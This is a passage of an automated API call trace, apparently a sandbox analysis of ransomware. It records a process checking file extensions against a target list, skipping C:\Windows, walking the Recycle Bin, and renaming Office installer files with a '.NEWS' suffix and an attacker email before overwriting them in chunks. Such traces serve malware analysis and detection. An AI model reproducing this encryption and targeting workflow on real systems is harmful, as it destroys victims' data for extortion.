(lpString=".zip") returned 4 [0071.075] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0071.075] lstrlenW (lpString=".rar") returned 4 [0071.075] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0071.075] lstrlenW (lpString=".bz2") returned 4 [0071.075] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0071.075] lstrlenW (lpString=".7z") returned 3 [0071.075] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW (lpString=".dbf") returned 4 [0071.075] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW (lpString=".1cd") returned 4 [0071.075] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW (lpString=".jpg") returned 4 [0071.075] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.075] lstrlenW (lpString=".doc") returned 4 [0071.075] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.076] lstrlenW (lpString=".docx") returned 5 [0071.076] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0071.076] lstrlenW (lpString=".pdf") returned 4 [0071.076] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.076] lstrlenW (lpString=".xls") returned 4 [0071.076] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.076] lstrlenW (lpString=".xlsx") returned 5 [0071.076] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0071.076] lstrlenW (lpString=".ppt") returned 4 [0071.076] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0071.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.076] lstrlenW (lpString=".zip") returned 4 [0071.076] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0071.076] lstrlenW (lpString=".rar") returned 4 [0071.076] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0071.076] lstrlenW (lpString=".bz2") returned 4 [0071.076] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0071.076] lstrlenW (lpString=".7z") returned 3 [0071.076] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0071.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.076] lstrlenW (lpString=".dbf") returned 4 [0071.076] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0071.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.076] lstrlenW (lpString=".1cd") returned 4 [0071.076] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0071.076] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0071.076] lstrlenW (lpString=".jpg") returned 4 [0071.076] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0071.077] lstrcmpiW (lpString1=".msi", lpString2=".NEWS") returned -1 [0071.077] lstrlenW (lpString="Office32WW.msi") returned 14 [0071.077] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.307] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=1992192) returned 1 [0071.307] CloseHandle (hObject=0x1a0) returned 1 [0071.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0071.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.307] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0071.308] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0071.308] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0071.309] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.309] ReadFile (in: hFile=0x1a0, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.350] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.350] ReadFile (in: hFile=0x1a0, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.497] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.497] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.497] ReadFile (in: hFile=0x1a0, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.519] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.519] WriteFile (in: hFile=0x1a0, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x391fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x391fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0071.934] SetEndOfFile (hFile=0x1a0) returned 1 [0071.935] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0071.966] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.966] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.968] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.972] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x391fc7c | out: lpNewFilePointer=0x0) returned 1 [0071.972] WriteFile (in: hFile=0x1a0, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x391fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x391fc88*=0x40000, lpOverlapped=0x0) returned 1 [0071.975] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0071.975] CloseHandle (hObject=0x1a0) returned 1 [0071.976] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0071.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.976] lstrlenW (lpString=".doc") returned 4 [0071.976] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.976] lstrlenW (lpString=".docx") returned 5 [0071.976] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0071.976] lstrlenW (lpString=".pdf") returned 4 [0071.976] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.976] lstrlenW (lpString=".xls") returned 4 [0071.976] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.976] lstrlenW (lpString=".xlsx") returned 5 [0071.976] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0071.976] lstrlenW (lpString=".ppt") returned 4 [0071.977] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.977] lstrlenW (lpString=".zip") returned 4 [0071.977] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0071.977] lstrlenW (lpString=".rar") returned 4 [0071.977] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0071.977] lstrlenW (lpString=".bz2") returned 4 [0071.977] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0071.977] lstrlenW (lpString=".7z") returned 3 [0071.977] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.977] lstrlenW (lpString=".dbf") returned 4 [0071.977] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.977] lstrlenW (lpString=".1cd") returned 4 [0071.977] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.977] lstrlenW (lpString=".jpg") returned 4 [0071.977] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0071.978] lstrlenW (lpString=".doc") returned 4 [0071.978] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0071.978] lstrlenW (lpString=".docx") returned 5 [0071.978] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0071.978] lstrlenW (lpString=".pdf") returned 4 [0071.978] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0071.978] lstrlenW (lpString=".xls") returned 4 [0071.978] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0071.978] lstrlenW (lpString=".xlsx") returned 5 [0072.646] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0072.646] lstrlenW (lpString=".ppt") returned 4 [0072.646] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0072.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0072.646] lstrlenW (lpString=".zip") returned 4 [0072.646] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0072.646] lstrlenW (lpString=".rar") returned 4 [0072.646] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0072.647] lstrlenW (lpString=".bz2") returned 4 [0072.647] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0072.647] lstrlenW (lpString=".7z") returned 3 [0072.647] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0072.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0072.647] lstrlenW (lpString=".dbf") returned 4 [0072.647] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0072.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0072.647] lstrlenW (lpString=".1cd") returned 4 [0072.647] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0072.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0072.647] lstrlenW (lpString=".jpg") returned 4 [0072.647] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0072.647] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0072.647] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0072.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.971] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x391ff1c | out: lpFileSize=0x391ff1c*=162970271) returned 1 [0072.971] CloseHandle (hObject=0x1e4) returned 1 [0072.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0072.971] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.971] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0072.972] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.972] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0x0) returned 1 [0072.972] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.972] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0072.991] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x33ce8df, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0072.994] ReadFile (in: hFile=0x1e4, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 [0073.005] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x391fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0073.005] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x9b2ba9f, lpNewFilePointer=0x0, dwMoveMethod=0x391fc2c | out: lpNewFilePointer=0x0) returned 1 [0073.005] ReadFile (in: hFile=0x1e4, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x391fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x391fc38*=0x40000, lpOverlapped=0x0) returned 1 Thread: id = 18 os_tid = 0x6fc [0044.119] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x36a12f8 [0044.120] lstrlenW (lpString="C:") returned 2 [0044.120] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3a5fd00 | out: lpFindFileData=0x3a5fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x61b450 [0044.120] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0044.120] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0044.120] lstrlenW (lpString="$Recycle.Bin") returned 12 [0044.120] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0044.121] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x36b1300 [0044.121] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0044.121] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b490 [0044.121] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.122] FindNextFileW (in: hFindFile=0x61b490, lpFindFileData=0x3a5fa84 | out: lpFindFileData=0x3a5fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0044.122] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0044.122] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0044.122] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0044.122] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0044.122] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3ea0048 [0044.123] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0044.123] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x61b4d0 [0044.123] FindNextFileW (in: hFindFile=0x61b4d0, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.124] FindNextFileW (in: hFindFile=0x61b4d0, lpFindFileData=0x3a5f808 | out: lpFindFileData=0x3a5f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0044.124] lstrlenW (lpString="desktop.ini") returned 11 [0044.124] lstrlenW (lpString=".1cd") returned 4 [0044.124] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0044.124] lstrlenW (lpString=".3ds") returned 4 [0044.124] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0044.124] lstrlenW (lpString=".3fr") returned 4 [0044.124] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0044.124] lstrlenW (lpString=".3g2") returned 4 [0044.124] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0044.124] lstrlenW (lpString=".3gp") returned 4 [0044.124] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0044.124] lstrlenW (lpString=".7z") returned 3 [0044.124] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0044.124] lstrlenW (lpString=".accda") returned 6 [0044.124] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0044.124] lstrlenW (lpString=".accdb") returned 6 [0044.125] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0044.125] lstrlenW (lpString=".accdc") returned 6 [0044.125] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0044.125] lstrlenW (lpString=".accde") returned 6 [0044.125] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0044.125] lstrlenW (lpString=".accdt") returned 6 [0044.125] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0044.125] lstrlenW (lpString=".accdw") returned 6 [0044.125] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0044.125] lstrlenW (lpString=".adb") returned 4 [0044.125] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0044.125] lstrlenW (lpString=".adp") returned 4 [0044.125] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0044.125] lstrlenW (lpString=".ai") returned 3 [0044.125] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0044.125] lstrlenW (lpString=".ai3") returned 4 [0044.125] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0044.125] lstrlenW (lpString=".ai4") returned 4 [0044.125] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0044.125] lstrlenW (lpString=".ai5") returned 4 [0044.125] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".ai6") returned 4 [0044.126] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".ai7") returned 4 [0044.126] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".ai8") returned 4 [0044.126] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".anim") returned 5 [0044.126] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0044.126] lstrlenW (lpString=".arw") returned 4 [0044.126] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0044.126] lstrlenW (lpString=".as") returned 3 [0044.126] lstrcmpiW (lpString1=".as", 